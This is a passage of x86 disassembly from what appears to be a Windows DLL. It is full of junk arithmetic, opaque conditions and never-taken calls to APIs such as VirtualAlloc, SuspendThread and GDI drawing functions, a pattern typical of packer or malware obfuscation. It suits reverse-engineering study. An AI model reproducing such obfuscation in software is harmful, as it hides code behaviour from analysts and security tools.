call fcn.1000a90d
mov eax, dword [ebp - 0x7c4]
mov ecx, ebx
sub ecx, eax
add dword [ebp - 0x7cc], ecx
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x10], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10028a1f
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
cmp esi, eax
mov eax, dword [ebp - 0x7c8]
sbb ecx, ecx
inc ecx
neg ecx
neg ecx
sbb ecx, ecx
inc ecx
add eax, ecx
mov ecx, dword [ebp - 0x10]
imul ecx, eax
cmp ecx, dword [ebp - 0x20]
je 0x100289f7
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x100289f7
mov ecx, eax
jmp 0x100289ff
xor eax, eax
xor ebx, ebx
inc ebx
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x10]
sub ecx, eax
je 0x10028a0c
mov eax, dword [ebp - 0x7c8]
push ebx
lea ecx, [ebp - 0x5c0]
call fcn.1000a90d
xor eax, eax
lea ecx, [eax + 1]
jmp 0x10028a21
mov ecx, eax
mov eax, dword [ebp - 0x10]
sub eax, ecx
xor ecx, ecx
cmp eax, 0x1fc5
setl cl
sub ecx, 0xac01
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x5c0]
jmp 0x10028b8a
push ebx
lea ecx, [ebp - 0x8c8]
call fcn.1000a8a0
xor eax, eax
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10028a88
xor edi, edi
inc edi
push dword [ebp - 0x18]
lea ecx, [ebp - 0x8c8]
call fcn.1000a90d
mov dword [eax], 0x8e20e6e8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10028a64
mov edi, dword [sym.imp.KERNEL32.dll_LockResource]
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xfffffffc
jg 0x10028b53
xor edi, edi
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x30], 9
push 3
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x10028ac8
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x12c0], 0x1f6e690d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10028ab0
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10028b12
cmp dword [ebp - 0x40], eax
jne 0x10028ad5
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x8c8]
xor ebx, ebx
push ebx
call fcn.1000a90d
push ebx
lea ecx, [ebp - 0x8c8]
call fcn.1000a90d
xor edx, edx
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x12b8]
cmp ecx, eax
setle dl
cmp dword [ebp - 0x2c], edx
jg 0x10028b12
xor eax, eax
mov esi, eax
jmp 0x10028b17
lea esi, [edi + 1]
xor eax, eax
push eax
lea ecx, [ebp - 0x8c8]
call fcn.1000a90d
mov ecx, dword [ebp - 0x2c]
xor edx, edx
cmp esi, ecx
mov ecx, 0x9700a5ff
push 0
setne dl
imul edx, dword [ebp - 0x2c]
cmp ecx, edx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffc
pop eax
jle 0x10028a97
mov edi, dword [sym.imp.KERNEL32.dll_LockResource]
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10028b84
push 0x17b0
push 0x168c
push 0x1400
push 0x19f5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
lea ecx, [ebp - 0x8c8]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.1000a908
mov esi, 0x3629aa8
xor eax, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], 0x8900fdb6
mov dword [ebp - 0x20], 0x33563700
mov dword [ebp - 0x30], 0x5ee56e31
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10028bc3
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setg dl
xor ebx, ebx
cmp edx, eax
setl bl
xor ecx, ecx
add ebx, dword [ebp - 0x1c]
imul ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp eax, ebx
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, 0xa2d3
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setl bl
xor ecx, ecx
cmp ebx, eax
setle cl
xor eax, eax
cmp ecx, dword [ebp - 0x18]
jle 0x10028c32
cmp dword [ebp - 0x20], eax
je 0x10028c32
lea ecx, [eax + 1]
jmp 0x10028c34
mov ecx, eax
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], 0x8900fdb6
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x30], 0x5ee56e31
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10028c70
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setg dl
xor ebx, ebx
cmp edx, eax
setl bl
xor ecx, ecx
add ebx, dword [ebp - 0x1c]
imul ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp eax, ebx
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, 0xa2d3
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setl bl
xor ecx, ecx
cmp ebx, eax
setle cl
xor eax, eax
cmp ecx, dword [ebp - 0x18]
jle 0x10028ce1
cmp dword [ebp - 0x20], eax
je 0x10028ce1
xor ebx, ebx
inc ebx
mov ecx, ebx
jmp 0x10028ce6
xor ebx, ebx
mov ecx, eax
inc ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x18], 0x7dfa860b
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10028d26
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9e8], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10028d0e
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10028d46
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9e8], 0xfffffff9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10028d2e
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10028d6d
push 0x141
push 0xac6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 0x1c], 0xfffffffc
lea ecx, [ebp - 0x6fc]
mov dword [ebp - 0x30], 0xaad8530d
mov dword [ebp - 0x20], 0x1ba028ea
mov dword [ebp - 0x18], 0x5fdc
push ebx
call fcn.1000a8a0
xor eax, eax
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10028dc4
push dword [ebp - 0x20]
lea ecx, [ebp - 0x6fc]
call fcn.1000a90d
mov dword [eax], 8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10028da6
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10028dd4
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x1c]
test eax, eax
jne 0x10028e7b
push 3
pop esi
push esi
lea ecx, [ebp - 0xd50]
call fcn.1000a8a0
xor eax, eax
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10028e1e
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd50]
call fcn.1000a90d
mov dword [eax], 0xb8ee41b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10028e00
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10028e40
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1528], 0xf3617394
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10028e27
xor eax, eax
mov dword [ebp - 0x1c], 0x4438bea1
lea ecx, [ebp - 0xd50]
push eax
call fcn.1000a90d
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x18]
inc dword [ebp - 0x18]
cmp ecx, eax
jl 0x10028e66
mov eax, ebx
jmp 0x10028e68
xor eax, eax
lea ecx, [ebp - 0xd50]
mov dword [ebp - 0x30], eax
call fcn.1000a908
jmp 0x10028f66
xor eax, eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x10028f63
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10028ead
push 0x20cb
push 0x23a9
push 0x154c
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x10028f5b
push dword [ebp - 0x20]
lea ecx, [ebp - 0x6fc]
call fcn.1000a90d
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x6fc]
push dword [ebp - 0x20]
sub esi, dword [eax]
call fcn.1000a90d
mov ecx, dword [ebp - 0x48]
xor edx, edx
cmp ecx, 0x9d66
setne dl
xor ecx, ecx
cmp esi, edx
setne cl
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x48]
jl 0x10028f0d
push dword [ebp - 0x20]
lea ecx, [ebp - 0x6fc]
call fcn.1000a90d
cmp dword [eax], 0
je 0x10028f0d
mov esi, ebx
jmp 0x10028f11
xor eax, eax
mov esi, eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x6fc]
call fcn.1000a90d
lea ecx, [esi + 0x29207964]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10028f50
push eax
push 0x366
push 0x479
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
dec dword [ebp - 0x20]
jns 0x10028eb9
xor eax, eax
inc dword [ebp - 0x18]
jmp 0x10028e83
push 3
pop esi
or eax, 0xffffffff
lea ecx, [ebp - 0x6fc]
mov dword [ebp - 4], eax
call fcn.1000a908
push 4
lea ecx, [ebp - 0xb0c]
call fcn.1000a8a0
mov dword [ebp - 4], 0x1f
or eax, 0xffffffff
mov dword [ebp - 0x30], 0x3acb6d64
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x48], 0x2c78ef8a
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10028fc0
push 0xfffffffffffffffe
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x98], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10028fac
xor eax, eax
mov dword [ebp - 0x98], esi
jmp 0x10029052
mov dword [ebp - 0x28], 0x7e4fc22
mov dword [ebp - 0x1c], 0xf4c59cdc
mov dword [ebp - 0x48], 0xe9f9
mov dword [ebp - 0x18], eax
jmp 0x10028ff6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd68], 0x623b4709
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10028fe5
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0xd60]
mov eax, dword [ebp - 0xd60]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0xd68]
dec dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x98]
push 0
pop eax
cmp dword [ebp - 0x98], 0xfffffff5
jne 0x10028fcb
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10029076
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
movdqa xmm0, xmmword [0x10009370]
lea eax, [ebp - 0x1098]
push eax
lea eax, [ebp - 0x10a8]
mov dword [ebp - 0x2c], ebx
push eax
lea ecx, [ebp - 0x13a4]
movdqu xmmword [ebp - 0x10a8], xmm0
call fcn.1000a91c
lea ecx, [ebp - 0x28c]
mov esi, eax
call fcn.1000a5b5
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x208]
push dword [esi]
call fcn.1000a8e2
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x20], 0x3876a47c
xor ebx, ebx
mov dword [ebp - 0x40], 0x5a74
push ebx
mov dword [ebp - 0x10], 0xf47f28a9
call fcn.1000a90d
push ebx
lea ecx, [ebp - 0x208]
mov dword [eax], ebx
call fcn.1000a90d
cmp dword [eax], 0xffffffed
jle 0x100292c9
xor esi, esi
inc esi
push 2
pop ebx
mov dword [ebp - 0x2c], 0x654fddd3
lea ecx, [ebp - 0xbb4]
mov dword [ebp - 0x28], 5
push ebx
call fcn.1000a8a0
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0x48], esi
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002914a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x23c], 0x53fc2f92
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10029132
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10029173
push dword [ebp - 0x10]
lea ecx, [ebp - 0xbb4]
call fcn.1000a90d
mov dword [eax], 0x43cae23f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10029152
push 3
xor eax, eax
pop ecx
cmp dword [ebp - 0x2c], eax
je 0x100293a6
mov dword [ebp - 0x18], 0x5467356a
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], 0xfffa
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x208]
call fcn.1000a90d
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x208]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
push ebx
call fcn.1000a90d
mov edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp dword [eax], edx
setle cl
xor ebx, ebx
mov dword [ebp - 0x23c], ecx
lea ecx, [ebp - 0x208]
push ebx
call fcn.1000a90d
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x208]
push ebx
call fcn.1000a90d
xor edx, edx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x2c]
cmp edx, eax
setl cl
xor edx, edx
sub ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x10]
je 0x10029235
push 6
pop eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
jmp 0x100292aa
mov dword [ebp - 0x48], 9
lea ecx, [ebp - 0x208]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x48], 0x8b72
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
push esi
call fcn.1000a90d
mov eax, dword [ebp - 0x234]
mov ecx, 0x83781cdf
mov eax, dword [ebp - 0x23c]
cmp ecx, eax
sbb eax, eax
xor edx, edx
neg eax
imul ecx, eax, 0xadcf
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
sete dl
xor eax, eax
imul edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x24]
je 0x10029291
mov edx, esi
cmp dword [ebp - 0x20], eax
jne 0x10029293
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setl cl
sub ecx, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
inc ecx
xor ebx, ebx
mov dword [ebp - 0x20], ecx
push ebx
lea ecx, [ebp - 0x208]
call fcn.1000a90d
cmp dword [eax], ebx
je 0x1002958a
lea ecx, [ebp - 0xbb4]
call fcn.1000a908
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 0x1f
call fcn.1000a908
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffffd
push 3
mov dword [ebp - 0x18], eax
pop esi
cmp dword [ebp - 0x18], esi
jge 0x10029304
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x14d0], 0xf99f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100292ec
xor eax, eax
push 2
pop ebx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x10029327
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10029322
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x1002930f
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1002934f
push dword [ebp - 0x18]
lea ecx, [ebp - 0xb0c]
call fcn.1000a90d
mov dword [eax], 7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10029330
xor eax, eax
mov dword [ebp - 0x1c], 0x39ed080c
mov dword [ebp - 0x18], 9
mov dword [ebp - 0x48], 0xfffffffa
mov dword [ebp - 0x48], ebx
xor ebx, ebx
inc ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x48], 0x86f25db2
mov dword [ebp - 0x20], 0x411d7fea
cmp dword [ebp - 0x18], eax
jne 0x100295c1
cmp dword [ebp - 0x18], 0xc54c9751
sbb eax, eax
neg eax
add eax, 0x1cb12095
cmp dword [ebp - 0x1c], eax
jle 0x100295c1
xor eax, eax
mov ecx, eax
jmp 0x100295c3
or eax, 0xffffffff
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0x289f16c4
mov dword [ebp - 0x40], 0x1b
cmp dword [ebp - 0x40], 0x30
jl 0x10029588
push esi
lea ecx, [ebp - 0x480]
call fcn.1000a8a0
mov byte [ebp - 4], 0x22
xor eax, eax
mov dword [ebp - 0x4c], 0x591f28f6
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10029402
push dword [ebp - 0x18]
lea ecx, [ebp - 0x480]
call fcn.1000a90d
push 0xfffffffffffffffe
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100293e5
xor eax, eax
push eax
lea ecx, [ebp - 0x480]
call fcn.1000a90d
xor ebx, ebx
cmp dword [eax], ebx
je 0x1002945d
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1002944a
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, esi
push ebx
setg cl
mov dword [ebp - 0x23c], ecx
lea ecx, [ebp - 0x480]
call fcn.1000a90d
mov eax, dword [ebp - 0x238]
cmp dword [ebp - 0x34], 0x8724
jg 0x1002944c
mov eax, ebx
jmp 0x1002944e
xor ebx, ebx
mov eax, esi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
push ebx
lea ecx, [ebp - 0x208]
call fcn.1000a90d
push ebx
lea ecx, [ebp - 0x480]
call fcn.1000a90d
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0xbb4]
mov esi, dword [ebp - 0x2c]
xor edi, edi
inc edi
push edi
call fcn.1000a90d
push ebx
lea ecx, [ebp - 0x480]
mov dword [eax], esi
call fcn.1000a90d
mov ecx, dword [ebp - 0x48]
xor edx, edx
cmp esi, ecx
setle dl
cmp edx, 8
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x10], 2
cmp dword [ebp - 0x10], eax
jl 0x1002955f
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x480]
push 6
mov eax, dword [ebp + eax*4 - 0x23c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x23c]
mov eax, dword [ebp - 0x10]
pop eax
mov dword [ebp - 0x20], eax
xor eax, eax
push eax
call fcn.1000a90d
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [eax]
je 0x100294f9
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x100294fb
mov edx, edi
jmp 0x100294fd
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x23c]
mov eax, dword [ebp - 0x10]
sub ecx, edx
sub ecx, dword [ebp + eax*4 - 0x23c]
mov eax, 0xeab19957
cmp eax, ecx
mov eax, dword [ebp - 0x238]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
mov dword [ebp + eax*4 - 0x23c], edx
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10029553
push eax
lea ecx, [ebp - 0x480]
call fcn.1000a90d
cmp dword [eax], 0
je 0x10029551
mov eax, edi
jmp 0x10029553
xor eax, eax
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x10]
jns 0x100294bc
lea ecx, [ebp - 0x480]
mov byte [ebp - 4], 0x21
call fcn.1000a908
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x30
push 1
pop esi
jge 0x100293c4
mov edi, dword [sym.imp.KERNEL32.dll_LockResource]
xor ebx, ebx
jmp 0x1002958a
xor ebx, ebx
lea ecx, [ebp - 0xbb4]
mov byte [ebp - 4], 0x20
call fcn.1000a908
push ebx
lea ecx, [ebp - 0x208]
call fcn.1000a90d
push ebx
lea ecx, [ebp - 0x208]
dec dword [eax]
call fcn.1000a90d
cmp dword [eax], 0xffffffed
jg 0x10029101
jmp 0x100292c9
mov ecx, ebx
mov eax, dword [ebp - 0x18]
add eax, ecx
je 0x100295d5
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x100295d7
mov ecx, ebx
jmp 0x100295d9
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
xor edx, edx
add ecx, 5
cmp eax, ecx
push 0xfffffffffffffffe
setge dl
mov dword [ebp - 0x48], edx
xor edx, edx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
sub edx, eax
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor edx, edx
cmp ecx, ebx
pop ecx
setge dl
xor eax, eax
cmp edx, ecx
setle al
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 7
jmp 0x1002964e
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0xfffffffa
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe3
jg 0x10029641
mov dword [ebp - 0x2c], esi
xor eax, eax
cmp dword [ebp - 0x2c], eax
jl 0x1002a3ff
jmp 0x10029666
mov dword [ebp - 0x10], 0xa1f9
or ecx, 0xffffffff
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x20], 0x85d0
mov dword [ebp - 0x1c], 0xfffffffb
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x100296aa
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc18], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10029691
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x100296b1
mov eax, ebx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc18], eax
mov eax, dword [ebp - 0xc18]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], ebx
jl 0x100296e9
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x10], eax
je 0x100296eb
mov ecx, ebx
mov eax, dword [ebp - 0x10]
xor edx, edx
cmp ecx, eax
movdqa xmm0, xmmword [0x10009390]
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x10]
mov edx, 0xdd44
setne cl
sub edx, ecx
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
add ecx, dword [ebp - 0x20]
cmp ecx, 0x92e7
setge al
add eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul ecx, eax, 0xc35c
mov eax, dword [ebp - 0x10]
cmp ecx, eax
lea eax, [ebp - 0x1158]
push eax
setl dl
lea eax, [ebp - 0x1168]
add edx, dword [ebp - 0x10]
lea ecx, [ebp - 0x131c]
mov dword [ebp - 0x30], edx
push eax
movdqu xmmword [ebp - 0x1168], xmm0
call fcn.1000a91c
lea ecx, [ebp - 0x29e]
mov esi, eax
call fcn.1000a5b5
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xf58]
push dword [esi]
call fcn.1000a8e2
mov byte [ebp - 4], 0x23
xor eax, eax
push 3
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], eax
pop esi
jmp 0x100297c8
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf58]
call fcn.1000a90d
cmp dword [eax], 0
jne 0x100297cd
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x100297c5
push eax
push 0x17e7
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10029794
lea ecx, [ebp - 0xf58]
mov byte [ebp - 4], 0x1f
call fcn.1000a908
xor eax, eax
mov dword [ebp - 0x18], 0x5c68ec0a
mov dword [ebp - 0x18], eax
jmp 0x10029805
mov dword [ebp - 0x48], 7
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x48], eax
jne 0x1002980b
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x18]
push 0
pop eax
cmp dword [ebp - 0x18], 0xffffffef
jle 0x100297ea
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10029829
cmp dword [ebp - 0x18], 2
jl 0x10029818
or ebx, 0xffffffff
lea ecx, [ebp - 0xb0c]
mov dword [ebp - 4], ebx
call fcn.1000a908
mov dword [ebp - 0x2c], 0x5683c8fc
xor edi, edi
mov dword [ebp - 0x20], 0x4ee7d21
xor edx, edx
mov dword [ebp - 0x18], 0xfffffffc
inc edi
mov dword [ebp - 0x40], 0xfffd
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x2c]
sub eax, 0x68e79848
cmp eax, edi
setge dl
xor ecx, ecx
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
cmp eax, 0xfffffff6
